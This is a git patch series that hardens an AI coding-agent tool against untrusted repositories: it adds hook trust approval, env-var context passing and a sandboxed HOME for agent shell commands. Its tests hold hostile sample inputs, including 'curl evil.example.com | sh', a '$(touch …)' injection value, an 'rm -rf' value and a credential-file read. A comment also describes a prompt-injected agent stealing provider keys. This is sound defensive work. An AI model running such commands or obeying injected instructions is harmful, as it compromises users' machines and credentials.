From 8f5c09a0f0caf4556f67ee7c684bfb30103d4bcc Mon Sep 17 00:00:00 2001 From: frankbria Date: Wed, 29 Jul 2026 14:53:53 -0700 Subject: [PATCH 1/9] fix(security): close the untrusted-repo execution boundary (#905) --- codeframe/cli/app.py | 9 + codeframe/cli/hooks_commands.py | 66 ++++ codeframe/core/config.py | 18 +- codeframe/core/hook_trust.py | 125 +++++++ codeframe/core/hooks.py | 83 ++++- codeframe/core/tools.py | 23 ++ .../core/test_untrusted_repo_execution_905.py | 346 ++++++++++++++++++ 7 files changed, 657 insertions(+), 13 deletions(-) create mode 100644 codeframe/core/hook_trust.py create mode 100644 tests/core/test_untrusted_repo_execution_905.py diff --git a/codeframe/cli/app.py b/codeframe/cli/app.py index c194ab25..c6c16b34 100644 --- a/codeframe/cli/app.py +++ b/codeframe/cli/app.py @@ -15,6 +15,7 @@ """ import json +import os import sys from pathlib import Path from typing import Optional @@ -120,6 +121,11 @@ def init( "--force", help="Overwrite an existing CODEFRAME.md (with --generate-config)", ), + allow_hooks: bool = typer.Option( + False, + "--allow-hooks", + help="Run this repository's configured hooks without prompting (#905)", + ), ) -> None: """Initialize a CodeFRAME workspace for a repository. @@ -193,7 +199,10 @@ def init( # Execute after_init hook (non-blocking, only on fresh init) from codeframe.core.config import load_environment_config + from codeframe.core.hook_trust import ALLOW_HOOKS_ENV from codeframe.core.hooks import HookContext, execute_hook + if allow_hooks: + os.environ[ALLOW_HOOKS_ENV] = "1" env_config = load_environment_config(repo_path) if env_config and not already_existed: hook_ctx = HookContext( diff --git a/codeframe/cli/hooks_commands.py b/codeframe/cli/hooks_commands.py index 2ca424c6..1d337ec9 100644 --- a/codeframe/cli/hooks_commands.py +++ b/codeframe/cli/hooks_commands.py @@ -5,6 +5,7 @@ codeframe hooks run # Manually trigger a hook codeframe hooks set # Set a hook command codeframe hooks clear # Remove a hook + codeframe hooks trust # Approve repo-supplied hooks (#905) """ from pathlib import Path @@ -72,6 +73,16 @@ def hooks_show( console.print(table) + from codeframe.core.hook_trust import describe_hooks, is_trusted + if describe_hooks(config.hooks): + if is_trusted(path, config.hooks): + console.print("[green]Trusted[/green] — these hooks may run.") + else: + console.print( + "[yellow]Not trusted[/yellow] — these hooks will NOT run. " + "Approve with 'codeframe hooks trust'." + ) + @hooks_app.command("run") def hooks_run( @@ -166,6 +177,7 @@ def hooks_set( setattr(config.hooks, hook_name, command) save_environment_config(path, config) + _record_trust(path, config) console.print(f"[green]Hook '{hook_name}' set to:[/green] {command}") @@ -204,5 +216,59 @@ def hooks_clear( setattr(config.hooks, hook_name, None) save_environment_config(path, config) + _record_trust(path, config) console.print(f"[green]Hook '{hook_name}' cleared.[/green]") + + +def _record_trust(path: Path, config: "object") -> None: + """Approve the hooks the operator just edited via the CLI. + + Trust is keyed on the exact commands (#905), so any edit would otherwise + revoke it — including the operator's own. + """ + from codeframe.core.hook_trust import record_trust + + record_trust(path, config.hooks) # type: ignore[attr-defined] + + +@hooks_app.command("trust") +def hooks_trust( + workspace_path: Optional[Path] = typer.Option( + None, "--workspace", "-w", + help="Workspace path (defaults to current directory)", + ), + yes: bool = typer.Option(False, "--yes", "-y", help="Skip the confirmation prompt"), +) -> None: + """Approve this workspace's hook commands so they are allowed to run. + + Hooks come from files a repository can commit, so cloning an untrusted repo + would otherwise be enough to get its shell commands executed (#905). The + decision is recorded outside the repository tree and keyed to these exact + commands, so editing a hook requires approving it again. + """ + from codeframe.core.config import load_environment_config + from codeframe.core.hook_trust import describe_hooks, record_trust + from codeframe.core.workspace import get_workspace + + path = (workspace_path or Path.cwd()).resolve() + try: + path = get_workspace(path).repo_path + except (FileNotFoundError, ValueError): + pass # Workspace not initialized; fall back to raw path + + config = load_environment_config(path) + described = describe_hooks(config.hooks) if config else "" + if not described: + console.print("[yellow]No hooks configured — nothing to trust.[/yellow]") + raise typer.Exit(1) + + # Always show the exact commands before approval: they run as you. + console.print("[bold]These commands will run on this workspace's lifecycle events:[/bold]") + console.print(described) + if not yes and not typer.confirm("Trust these hooks?", default=False): + console.print("[yellow]Not trusted.[/yellow]") + raise typer.Exit(1) + + record_trust(path, config.hooks) + console.print(f"[green]Hooks trusted for {path}[/green]") diff --git a/codeframe/core/config.py b/codeframe/core/config.py index a83a2689..6358ed2f 100644 --- a/codeframe/core/config.py +++ b/codeframe/core/config.py @@ -12,6 +12,7 @@ """ import json +import logging from dataclasses import dataclass, field as dataclass_field, asdict from enum import Enum from pathlib import Path @@ -21,6 +22,8 @@ from pydantic import BaseModel, Field, field_validator from pydantic_settings import BaseSettings, SettingsConfigDict +logger = logging.getLogger(__name__) + # ============================================================================= # v2 Environment Configuration (YAML-based) @@ -428,11 +431,18 @@ def _codeframe_config_to_env_config(cf_config: Any) -> EnvironmentConfig: lint_gate_names = {"ruff", "pylint", "eslint", "prettier", "flake8", "mypy", "biome"} config.lint_tools = [g for g in cf_config.gates if g in lint_gate_names] - # Map hooks + # Hooks are deliberately NOT mapped from CODEFRAME.md (#905). That file is + # found by walking *up* from the workspace, so a CODEFRAME.md in a parent + # directory — or one committed by a cloned repo — could supply shell + # commands that `cf init` runs immediately. Hooks come only from + # .codeframe/config.yaml, and even there they need a recorded trust + # decision (core.hook_trust). if cf_config.hooks: - valid_hook_fields = {f.name for f in HooksConfig.__dataclass_fields__.values()} - filtered = {k: v for k, v in cf_config.hooks.items() if k in valid_hook_fields} - config.hooks = HooksConfig(**filtered) + logger.warning( + "Ignoring %d hook(s) declared in CODEFRAME.md: hooks may only be " + "configured in .codeframe/config.yaml (#905).", + len(cf_config.hooks), + ) # Map batch if cf_config.batch: diff --git a/codeframe/core/hook_trust.py b/codeframe/core/hook_trust.py new file mode 100644 index 00000000..46b66145 --- /dev/null +++ b/codeframe/core/hook_trust.py @@ -0,0 +1,125 @@ +"""Per-workspace trust decisions for repo-committed hooks (issue #905). + +Hook commands come from files a repository can commit — ``.codeframe/config.yaml`` +and CODEFRAME.md front matter — and ``cf init`` fires ``after_init`` immediately. +Cloning an untrusted repository and running any ``cf`` command was therefore +equivalent to running its code. + +A hook now runs only if the operator has recorded a decision for *these exact +commands* in *this workspace*. The record lives in ``~/.codeframe`` — outside the +repository tree — so a repo cannot grant itself trust by committing the file, and +it is keyed by a hash of the commands so editing a hook revokes the old approval +rather than inheriting it. + +Headless — no CLI or HTTP imports (architecture rule #1). +""" + +from __future__ import annotations + +import hashlib +import json +import logging +import os +import sys +import tempfile +from pathlib import Path +from typing import TYPE_CHECKING + +if TYPE_CHECKING: # pragma: no cover + from codeframe.core.config import HooksConfig + +logger = logging.getLogger(__name__) + +#: Opt-in for non-interactive runs, mirroring the CLI's ``--allow-hooks``. +ALLOW_HOOKS_ENV = "CODEFRAME_ALLOW_HOOKS" + +_TRUSTED_HOOKS_FILE = "trusted_hooks.json" + + +def _trust_store_path() -> Path: + """``~/.codeframe/trusted_hooks.json`` — deliberately outside any repo.""" + return Path.home() / ".codeframe" / _TRUSTED_HOOKS_FILE + + +def hooks_fingerprint(hooks: "HooksConfig") -> str: + """Stable hash of the hook commands themselves. + + Keyed on the commands, not merely the workspace, so editing a hook after it + was approved requires a fresh decision instead of inheriting the old one. + """ + from dataclasses import fields + + payload = { + f.name: getattr(hooks, f.name) + for f in fields(hooks) + if isinstance(getattr(hooks, f.name, None), str) and getattr(hooks, f.name) + } + encoded = json.dumps(payload, sort_keys=True).encode("utf-8") + return hashlib.sha256(encoded).hexdigest() + + +def _load_store() -> dict: + path = _trust_store_path() + if not path.exists(): + return {} + try: + data = json.loads(path.read_text(encoding="utf-8")) + return data if isinstance(data, dict) else {} + except (OSError, ValueError): + # A corrupt store must read as "nothing is trusted", never as a pass. + logger.warning("Could not read %s; treating all hooks as untrusted", path) + return {} + + +def is_trusted(workspace_path: Path, hooks: "HooksConfig") -> bool: + """Whether these exact hook commands are approved for this workspace.""" + key = str(Path(workspace_path).resolve()) + return _load_store().get(key) == hooks_fingerprint(hooks) + + +def record_trust(workspace_path: Path, hooks: "HooksConfig") -> None: + """Approve these exact hook commands for this workspace.""" + path = _trust_store_path() + path.parent.mkdir(parents=True, exist_ok=True) + store = _load_store() + store[str(Path(workspace_path).resolve())] = hooks_fingerprint(hooks) + + # Atomic write with owner-only permissions: this file decides whether code + # runs, so a partial write must not be readable as a decision. + fd, tmp_name = tempfile.mkstemp(prefix=f".{path.name}.", dir=path.parent) + try: + with os.fdopen(fd, "w") as handle: + json.dump(store, handle, indent=2) + os.chmod(tmp_name, 0o600) + os.replace(tmp_name, path) + except Exception: + try: + os.unlink(tmp_name) + except OSError: + pass + raise + + +def allow_hooks_requested() -> bool: + """Whether the operator passed the non-interactive opt-in.""" + return os.getenv(ALLOW_HOOKS_ENV, "").strip().lower() in {"1", "true", "yes", "on"} + + +def is_interactive() -> bool: + """Whether there is a human on the other end to answer a prompt.""" + try: + return sys.stdin.isatty() and sys.stdout.isatty() + except (AttributeError, ValueError): + return False + + +def describe_hooks(hooks: "HooksConfig") -> str: + """The exact commands, for showing the operator before anything runs.""" + from dataclasses import fields + + lines = [] + for f in fields(hooks): + value = getattr(hooks, f.name, None) + if isinstance(value, str) and value: + lines.append(f" {f.name}: {value}") + return "\n".join(lines) diff --git a/codeframe/core/hooks.py b/codeframe/core/hooks.py index 4ec4361b..2b431a6b 100644 --- a/codeframe/core/hooks.py +++ b/codeframe/core/hooks.py @@ -15,7 +15,7 @@ from __future__ import annotations import logging -import shlex +import os import subprocess import time from dataclasses import dataclass @@ -72,17 +72,45 @@ def __init__(self, hook_name: str, result: HookResult) -> None: ) -def render_hook_command(template: str, ctx: HookContext) -> str: - """Render a hook command template with context variables. +#: Context values are passed to the hook as environment variables and the +#: template is rendered with *references* to them, never with the values. +HOOK_CONTEXT_ENV = { + "task_id": "CF_HOOK_TASK_ID", + "task_title": "CF_HOOK_TASK_TITLE", + "task_status": "CF_HOOK_TASK_STATUS", + "workspace_path": "CF_HOOK_WORKSPACE_PATH", +} + + +def hook_context_env(ctx: HookContext) -> dict: + """The environment carrying a hook's context values.""" + return { + HOOK_CONTEXT_ENV["task_id"]: ctx.task_id, + HOOK_CONTEXT_ENV["task_title"]: ctx.task_title, + HOOK_CONTEXT_ENV["task_status"]: ctx.task_status, + HOOK_CONTEXT_ENV["workspace_path"]: ctx.workspace_path, + } + - Variable values are shell-escaped to prevent injection via task_title - or other user-controlled fields. +def render_hook_command(template: str, ctx: HookContext) -> str: + """Render a hook command template with references to context variables. + + Substitutes ``"${CF_HOOK_TASK_TITLE}"`` rather than the title itself. The + previous version substituted ``shlex.quote(value)``, which is **not** safe: + single quotes lose their meaning inside a double-quoted template, so a hook + written as ``echo "{{ task_title }}"`` with the title ``$(id)`` rendered to + ``echo "'$(id)'"`` and the shell ran the command substitution (#905). + + A parameter expansion is safe in both positions. The shell does not rescan + an expansion's *result* for command substitution, so ``$(id)`` arriving as a + value stays the four characters it is — quoted or not. The values themselves + travel in the environment (``hook_context_env``), never in the command text. """ return Template(template).render( - task_id=shlex.quote(ctx.task_id), - task_title=shlex.quote(ctx.task_title), - task_status=shlex.quote(ctx.task_status), - workspace_path=shlex.quote(ctx.workspace_path), + task_id='"${%s}"' % HOOK_CONTEXT_ENV["task_id"], + task_title='"${%s}"' % HOOK_CONTEXT_ENV["task_title"], + task_status='"${%s}"' % HOOK_CONTEXT_ENV["task_status"], + workspace_path='"${%s}"' % HOOK_CONTEXT_ENV["workspace_path"], ) @@ -109,6 +137,8 @@ def run_hook( capture_output=True, text=True, timeout=timeout, + # Context values arrive here, not spliced into the command text. + env={**os.environ, **hook_context_env(ctx)}, ) duration_ms = int((time.monotonic() - start) * 1000) return HookResult( @@ -160,6 +190,41 @@ def execute_hook( if not command: return None + # Trust gate (#905). Hook commands come from files the repository can + # commit, and `cf init` fires after_init immediately — so without this, + # cloning an untrusted repo and running any cf command runs its code. The + # decision is recorded outside the repo tree and keyed to these exact + # commands; see core.hook_trust. + from codeframe.core.hook_trust import ( + allow_hooks_requested, + describe_hooks, + is_trusted, + ) + + if not (is_trusted(workspace_path, config.hooks) or allow_hooks_requested()): + message = ( + f"Refusing to run the '{hook_name}' hook: this workspace's hooks " + "are not trusted. They come from files inside the repository, so " + "running them is running its code.\n" + f"{describe_hooks(config.hooks)}\n" + "Approve them with 'cf hooks trust', or pass --allow-hooks " + "(CODEFRAME_ALLOW_HOOKS=1) if you have reviewed them." + ) + # Reuses the existing failure path so every caller's abort/warn handling + # applies unchanged — an untrusted hook is a hook that did not succeed. + result = HookResult( + hook_name=hook_name, command=command, success=False, + stdout="", stderr=message, duration_ms=0, timed_out=False, + ) + if abort_on_failure: + raise HookAbortError(hook_name, result) + logger.warning("%s", message) + return result + + # The exact command is shown before the first execution, so an approval is + # never given to something the operator has not seen. + logger.info("Running %s hook: %s", hook_name, command) + try: result = run_hook(hook_name, command, workspace_path, ctx, config.hooks.hook_timeout) except Exception as exc: diff --git a/codeframe/core/tools.py b/codeframe/core/tools.py index 28bbcab8..a10eea53 100644 --- a/codeframe/core/tools.py +++ b/codeframe/core/tools.py @@ -835,6 +835,29 @@ def _execute_run_command( # layer venv activation on top. Never os.environ.copy() here — that would # hand every host secret to an LLM-authored shell command. env = {k: os.environ[k] for k in _RUN_COMMAND_SAFE_ENV_VARS if k in os.environ} + + # HOME points at a scratch directory, not the operator's (#905). The + # allowlist above kept secrets out of the *environment*, but HOME is a + # pointer to them: ~/.codeframe holds the credential store, whose Fernet key + # is derived from the (non-secret) machine id unless + # CODEFRAME_CREDENTIAL_SECRET is set — so a prompt-injected `cat ~/.codeframe/...` + # could re-derive it and exfiltrate every provider key and the GitHub PAT. + # A real directory rather than a nonexistent path so tools that write dotfiles + # (npm, pip, cargo, git) still work; it lives under the workspace's state dir + # so it is per-workspace and inspectable. + sandbox_home = workspace_path / ".codeframe" / "agent-home" + try: + sandbox_home.mkdir(parents=True, exist_ok=True) + env["HOME"] = str(sandbox_home) + # These default to $HOME/... when unset; pin them so nothing resolves + # back to the operator's real home through an XDG path. + for xdg in ("XDG_CACHE_HOME", "XDG_CONFIG_HOME", "XDG_DATA_HOME"): + env[xdg] = str(sandbox_home / xdg.lower()) + except OSError: + # If the sandbox cannot be created, drop HOME entirely rather than fall + # back to the operator's — fail closed. + env.pop("HOME", None) + for venv_dir in (".venv", "venv"): venv_bin = workspace_path / venv_dir / "bin" if venv_bin.is_dir(): diff --git a/tests/core/test_untrusted_repo_execution_905.py b/tests/core/test_untrusted_repo_execution_905.py new file mode 100644 index 00000000..25f1b71e --- /dev/null +++ b/tests/core/test_untrusted_repo_execution_905.py @@ -0,0 +1,346 @@ +"""The untrusted-repo execution boundary (#905). + +Cloning a repository and running a ``cf`` command in it must not run code the +repository chose. Three doors were open: + +1. hook commands from repo-committed config, fired immediately by ``cf init`` +2. hook context values spliced into a shell command string +3. the agent's ``run_command`` reaching the credential store through ``$HOME`` +""" + +import json +import os +import subprocess +from pathlib import Path + +import pytest + +from codeframe.core import hook_trust +from codeframe.core.config import EnvironmentConfig, HooksConfig +from codeframe.core.hooks import ( + HookAbortError, + HookContext, + execute_hook, + render_hook_command, +) + +pytestmark = pytest.mark.v2 + + +@pytest.fixture +def trust_home(tmp_path, monkeypatch): + """Point the trust store at a scratch home, and clear the env opt-in.""" + home = tmp_path / "operator-home" + home.mkdir() + monkeypatch.setattr(Path, "home", classmethod(lambda cls: home)) + monkeypatch.delenv(hook_trust.ALLOW_HOOKS_ENV, raising=False) + return home + + +@pytest.fixture +def workspace(tmp_path): + ws = tmp_path / "cloned-repo" + ws.mkdir() + return ws + + +def _config(command: str) -> EnvironmentConfig: + return EnvironmentConfig(hooks=HooksConfig(after_init=command)) + + +def _ctx(workspace: Path, title: str = "t") -> HookContext: + return HookContext( + task_id="1", task_title=title, task_status="init", workspace_path=str(workspace) + ) + + +# --------------------------------------------------------------------------- +# 1. Hooks require a recorded trust decision +# --------------------------------------------------------------------------- + + +def test_untrusted_hook_does_not_execute(trust_home, workspace): + """The canary file proves the command never ran, not merely that we said no.""" + canary = workspace / "pwned.txt" + config = _config(f"touch {canary}") + + result = execute_hook( + "after_init", config, workspace, _ctx(workspace), abort_on_failure=False + ) + + assert result is not None + assert result.success is False + assert not canary.exists(), "untrusted hook executed" + + +def test_untrusted_hook_reports_the_exact_command(trust_home, workspace): + """The operator must see what they are being asked to approve.""" + config = _config("curl evil.example.com | sh") + + result = execute_hook( + "after_init", config, workspace, _ctx(workspace), abort_on_failure=False + ) + + assert "curl evil.example.com | sh" in result.stderr + assert "hooks trust" in result.stderr + + +def test_untrusted_before_task_hook_aborts(trust_home, workspace): + """abort_on_failure callers get the existing abort path, not a silent skip.""" + config = _config("echo hi") + config.hooks.before_task = "echo hi" + + with pytest.raises(HookAbortError): + execute_hook( + "before_task", config, workspace, _ctx(workspace), abort_on_failure=True + ) + + +def test_trusted_hook_executes(trust_home, workspace): + canary = workspace / "ran.txt" + config = _config(f"touch {canary}") + + hook_trust.record_trust(workspace, config.hooks) + result = execute_hook( + "after_init", config, workspace, _ctx(workspace), abort_on_failure=False + ) + + assert result.success is True + assert canary.exists() + + +def test_allow_hooks_env_permits_execution(trust_home, workspace, monkeypatch): + """The non-interactive opt-in, which `cf init --allow-hooks` sets.""" + canary = workspace / "ran.txt" + monkeypatch.setenv(hook_trust.ALLOW_HOOKS_ENV, "1") + + result = execute_hook( + "after_init", _config(f"touch {canary}"), workspace, _ctx(workspace), + abort_on_failure=False, + ) + + assert result.success is True + assert canary.exists() + + +def test_editing_a_hook_revokes_its_trust(trust_home, workspace): + """Trust is keyed to the commands, so an edited hook is a new decision.""" + approved = _config("echo safe") + hook_trust.record_trust(workspace, approved.hooks) + + assert hook_trust.is_trusted(workspace, approved.hooks) + assert not hook_trust.is_trusted(workspace, _config("echo something-else").hooks) + + +def test_trust_is_scoped_to_one_workspace(trust_home, workspace, tmp_path): + """A sibling clone with identical hooks does not inherit the approval.""" + config = _config("echo hi") + hook_trust.record_trust(workspace, config.hooks) + + other = tmp_path / "another-repo" + other.mkdir() + assert not hook_trust.is_trusted(other, config.hooks) + + +def test_trust_store_lives_outside_the_repository(trust_home, workspace): + """A repo cannot grant itself trust by committing the store file.""" + config = _config("echo hi") + hook_trust.record_trust(workspace, config.hooks) + + store = trust_home / ".codeframe" / "trusted_hooks.json" + assert store.exists() + assert not str(store).startswith(str(workspace)) + assert json.loads(store.read_text()) + + +def test_corrupt_trust_store_reads_as_untrusted(trust_home, workspace): + """A store that cannot be parsed must not read as a blanket approval.""" + store = trust_home / ".codeframe" / "trusted_hooks.json" + store.parent.mkdir(parents=True) + store.write_text("{not json") + + assert not hook_trust.is_trusted(workspace, _config("echo hi").hooks) + + +# --------------------------------------------------------------------------- +# 2. Hooks are not sourced from the walk-up CODEFRAME.md +# --------------------------------------------------------------------------- + + +def test_codeframe_md_cannot_supply_hooks(tmp_path): + """CODEFRAME.md is found by walking *up*, so it must not carry hooks.""" + from codeframe.core.config import load_environment_config + + workspace = tmp_path / "repo" + workspace.mkdir() + (workspace / "CODEFRAME.md").write_text( + "---\n" + "tech_stack: Python\n" + "hooks:\n" + " after_init: touch /tmp/pwned-905\n" + "---\n\n# Project\n" + ) + + config = load_environment_config(workspace) + + assert config is not None, "CODEFRAME.md should still supply non-hook config" + assert config.hooks.after_init is None + + +def test_cf_init_does_not_run_a_codeframe_md_hook(tmp_path, trust_home): + """End to end: clone a repo carrying a hooks block, run `cf init`, stay clean.""" + from typer.testing import CliRunner + + from codeframe.cli.app import app + + repo = tmp_path / "hostile-repo" + repo.mkdir() + canary = tmp_path / "pwned-init.txt" + (repo / "CODEFRAME.md").write_text( + f"---\ntech_stack: Python\nhooks:\n after_init: touch {canary}\n---\n" + ) + + result = CliRunner().invoke(app, ["init", str(repo), "--tech-stack", "Python"]) + + assert result.exit_code == 0, result.output + assert not canary.exists(), "cf init executed a repo-supplied hook" + + +def test_cf_init_does_not_run_an_untrusted_config_yaml_hook(tmp_path, trust_home): + """The same for the .codeframe/config.yaml source, which hooks DO come from.""" + from typer.testing import CliRunner + + from codeframe.cli.app import app + + repo = tmp_path / "hostile-repo-2" + (repo / ".codeframe").mkdir(parents=True) + canary = tmp_path / "pwned-yaml.txt" + (repo / ".codeframe" / "config.yaml").write_text( + f"package_manager: uv\nhooks:\n after_init: touch {canary}\n" + ) + + result = CliRunner().invoke(app, ["init", str(repo), "--tech-stack", "Python"]) + + assert result.exit_code == 0, result.output + assert not canary.exists(), "cf init executed an untrusted hook" + + +# --------------------------------------------------------------------------- +# 3. Context values are never spliced into the command text +# --------------------------------------------------------------------------- + + +def test_command_substitution_in_a_context_value_is_not_executed(tmp_path): + """`shlex.quote` was not enough: single quotes are inert inside "...".""" + canary = tmp_path / "pwned-render.txt" + ctx = HookContext( + task_id="1", + task_title=f"$(touch {canary})", + task_status="init", + workspace_path=str(tmp_path), + ) + rendered = render_hook_command('echo "{{ task_title }}"', ctx) + + proc = subprocess.run( + rendered, shell=True, capture_output=True, text=True, cwd=tmp_path, + env={**os.environ, "CF_HOOK_TASK_TITLE": ctx.task_title}, + ) + + assert not canary.exists(), f"command substitution executed via {rendered!r}" + assert f"$(touch {canary})" in proc.stdout + + +def test_context_value_survives_unquoted_too(tmp_path): + """A bare `{{ task_title }}` is just as common in hand-written hooks.""" + canary = tmp_path / "pwned-bare.txt" + ctx = HookContext( + task_id="1", + task_title=f"$(touch {canary})", + task_status="init", + workspace_path=str(tmp_path), + ) + rendered = render_hook_command("echo {{ task_title }}", ctx) + + subprocess.run( + rendered, shell=True, capture_output=True, text=True, cwd=tmp_path, + env={**os.environ, "CF_HOOK_TASK_TITLE": ctx.task_title}, + ) + + assert not canary.exists() + + +def test_hook_receives_the_real_value(trust_home, workspace): + """The indirection must not break the feature: hooks still see the title.""" + out = workspace / "title.txt" + config = _config('echo "{{ task_title }}" > %s' % out) + hook_trust.record_trust(workspace, config.hooks) + + execute_hook( + "after_init", config, workspace, _ctx(workspace, title="Fix the parser"), + abort_on_failure=False, + ) + + assert out.read_text().strip() == "Fix the parser" + + +# --------------------------------------------------------------------------- +# 4. Agent shell commands cannot reach the credential store +# --------------------------------------------------------------------------- + + +def test_run_command_home_is_not_the_operator_home(tmp_path, monkeypatch): + """A prompt-injected `cat ~/.codeframe/...` must not find the real store.""" + from codeframe.core.tools import _execute_run_command + + operator_home = tmp_path / "operator" + (operator_home / ".codeframe").mkdir(parents=True) + (operator_home / ".codeframe" / "credentials.enc").write_text("SECRET-MATERIAL") + monkeypatch.setenv("HOME", str(operator_home)) + + workspace = tmp_path / "ws" + workspace.mkdir() + + result = _execute_run_command( + {"command": "cat $HOME/.codeframe/credentials.enc; echo HOME=$HOME"}, + workspace, + "call-1", + ) + + assert "SECRET-MATERIAL" not in result.content + assert str(operator_home) not in result.content + + +def test_run_command_xdg_paths_do_not_escape_to_the_operator_home(tmp_path, monkeypatch): + """XDG_* default to $HOME/..., so leaving them unset would re-open the door.""" + from codeframe.core.tools import _execute_run_command + + operator_home = tmp_path / "operator2" + operator_home.mkdir() + monkeypatch.setenv("HOME", str(operator_home)) + monkeypatch.setenv("XDG_CONFIG_HOME", str(operator_home / ".config")) + + workspace = tmp_path / "ws2" + workspace.mkdir() + + result = _execute_run_command( + {"command": "echo $XDG_CONFIG_HOME $XDG_CACHE_HOME $XDG_DATA_HOME"}, + workspace, + "call-2", + ) + + assert str(operator_home) not in result.content + + +def test_run_command_home_is_writable(tmp_path, monkeypatch): + """Fail-closed must not mean broken: tools that write dotfiles still work.""" + from codeframe.core.tools import _execute_run_command + + monkeypatch.setenv("HOME", str(tmp_path / "operator3")) + workspace = tmp_path / "ws3" + workspace.mkdir() + + result = _execute_run_command( + {"command": "touch $HOME/.somerc && echo OK"}, workspace, "call-3" + ) + + assert "OK" in result.content From 7e99b9104a9a3989b266b263cf30f691fc463439 Mon Sep 17 00:00:00 2001 From: frankbria Date: Wed, 29 Jul 2026 14:57:43 -0700 Subject: [PATCH 2/9] test: update hook contract tests for the #905 trust gate --- tests/core/test_config_codeframe_fallback.py | 14 +++++-- tests/core/test_hooks.py | 41 ++++++++++++++------ 2 files changed, 40 insertions(+), 15 deletions(-) diff --git a/tests/core/test_config_codeframe_fallback.py b/tests/core/test_config_codeframe_fallback.py index 6039fde2..87f46a18 100644 --- a/tests/core/test_config_codeframe_fallback.py +++ b/tests/core/test_config_codeframe_fallback.py @@ -126,8 +126,14 @@ def test_gates_map_to_lint_tools(self, tmp_path): # pytest is not a lint tool assert "pytest" not in config.lint_tools - def test_hooks_map_correctly(self, tmp_path): - """hooks dict maps to HooksConfig.""" + def test_hooks_are_not_mapped(self, tmp_path): + """hooks are deliberately NOT sourced from CODEFRAME.md (#905). + + This file is located by walking *up* from the workspace, so a parent + directory — or a cloned repository — could otherwise hand `cf init` + shell commands to run. Hooks come only from .codeframe/config.yaml, + and even there they need a recorded trust decision. + """ _write_codeframe_md(tmp_path, { "hooks": { "after_init": "echo initialized", @@ -137,8 +143,8 @@ def test_hooks_map_correctly(self, tmp_path): config = load_environment_config(tmp_path) assert config is not None - assert config.hooks.after_init == "echo initialized" - assert config.hooks.before_task == "echo starting" + assert config.hooks.after_init is None + assert config.hooks.before_task is None def test_batch_maps_correctly(self, tmp_path): """batch config maps to BatchConfig.""" diff --git a/tests/core/test_hooks.py b/tests/core/test_hooks.py index f05ac5f7..1a5949af 100644 --- a/tests/core/test_hooks.py +++ b/tests/core/test_hooks.py @@ -99,28 +99,36 @@ def test_roundtrip_serialization(self) -> None: class TestRenderHookCommand: """Test Jinja2 template variable rendering.""" + # Rendering substitutes *references* to environment variables, never the + # values (#905) — see tests/core/test_untrusted_repo_execution_905.py for + # why quoting the values was not safe. The value arrives via the hook's + # environment, so the hook still sees it. + def test_renders_task_id(self) -> None: from codeframe.core.hooks import HookContext, render_hook_command ctx = HookContext(task_id="abc123", task_title="Fix bug", task_status="in_progress", workspace_path="/tmp/repo") result = render_hook_command("git checkout -b cf/{{task_id}}", ctx) - assert "abc123" in result + assert result == 'git checkout -b cf/"${CF_HOOK_TASK_ID}"' def test_renders_multiple_variables(self) -> None: - from codeframe.core.hooks import HookContext, render_hook_command + from codeframe.core.hooks import HookContext, hook_context_env, render_hook_command ctx = HookContext(task_id="t1", task_title="Add feature", task_status="done", workspace_path="/ws") result = render_hook_command("echo {{task_id}} {{task_title}} {{task_status}}", ctx) - assert "t1" in result - assert "Add feature" in result - assert "done" in result + assert "CF_HOOK_TASK_ID" in result + assert "CF_HOOK_TASK_TITLE" in result + assert "CF_HOOK_TASK_STATUS" in result + # The values are carried out of band, so the hook still sees them. + assert hook_context_env(ctx)["CF_HOOK_TASK_TITLE"] == "Add feature" def test_renders_workspace_path(self) -> None: - from codeframe.core.hooks import HookContext, render_hook_command + from codeframe.core.hooks import HookContext, hook_context_env, render_hook_command ctx = HookContext(task_id="", task_title="", task_status="init", workspace_path="/home/user/repo") result = render_hook_command("cd {{workspace_path}} && npm install", ctx) - assert "/home/user/repo" in result + assert "CF_HOOK_WORKSPACE_PATH" in result + assert hook_context_env(ctx)["CF_HOOK_WORKSPACE_PATH"] == "/home/user/repo" def test_passes_through_non_template_text(self) -> None: from codeframe.core.hooks import HookContext, render_hook_command @@ -129,13 +137,13 @@ def test_passes_through_non_template_text(self) -> None: result = render_hook_command("echo hello world", ctx) assert "echo hello world" in result - def test_shell_escapes_values(self) -> None: + def test_hostile_value_never_reaches_the_command_text(self) -> None: from codeframe.core.hooks import HookContext, render_hook_command ctx = HookContext(task_id="t1", task_title="'; rm -rf /; echo '", task_status="", workspace_path="/tmp") result = render_hook_command("echo {{task_title}}", ctx) - # Should be escaped, not literally '; rm -rf /; echo ' - assert "rm -rf" not in result or "'" in result + # Not "escaped" — absent. The shell never parses the value at all. + assert "rm -rf" not in result # --------------------------------------------------------------------------- @@ -201,7 +209,18 @@ def test_duration_tracked(self) -> None: class TestExecuteHook: - """Test the execute_hook orchestrator.""" + """Test the execute_hook orchestrator. + + Hooks require a trust decision (#905); these tests are about the + orchestration around a *trusted* hook, so they opt in. The gate itself is + covered in tests/core/test_untrusted_repo_execution_905.py. + """ + + @pytest.fixture(autouse=True) + def _trusted(self, monkeypatch): + from codeframe.core.hook_trust import ALLOW_HOOKS_ENV + + monkeypatch.setenv(ALLOW_HOOKS_ENV, "1") def test_returns_none_when_hook_not_configured(self) -> None: from codeframe.core.config import EnvironmentConfig From 589d573500710809400b432ff48b083487de1768 Mon Sep 17 00:00:00 2001 From: frankbria Date: Wed, 29 Jul 2026 15:03:10 -0700 Subject: [PATCH 3/9] docs: document CODEFRAME_ALLOW_HOOKS and the hook trust store (#905) --- CLAUDE.md | 16 ++++++++++++++++ codeframe/core/hook_trust.py | 9 --------- 2 files changed, 16 insertions(+), 9 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 70ad2c3b..cf89dd0f 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -292,6 +292,22 @@ CODEFRAME_ALLOW_UNRESTRICTED_WORKSPACES=1 # Escape hatch for the above: start w # never set on an exposed server. Mirrors # CODEFRAME_ALLOW_INSECURE_SECRET (#643). +# Repo-committed hook trust (#905) — default OFF (refuse) +CODEFRAME_ALLOW_HOOKS=1 # Run a workspace's configured lifecycle + # hooks without a recorded trust decision. + # Hooks come from .codeframe/config.yaml, + # a file a cloned repo can commit, and + # `cf init` fires after_init immediately — + # so by default a hook runs only after + # `cf hooks trust` records approval in + # ~/.codeframe/trusted_hooks.json (outside + # the repo tree, keyed to the exact + # commands, so editing a hook re-asks). + # `cf init --allow-hooks` sets this for + # one run. CODEFRAME.md can no longer + # supply hooks at all: it is found by + # walking UP from the workspace. + # Bootstrap registration gate (#897) 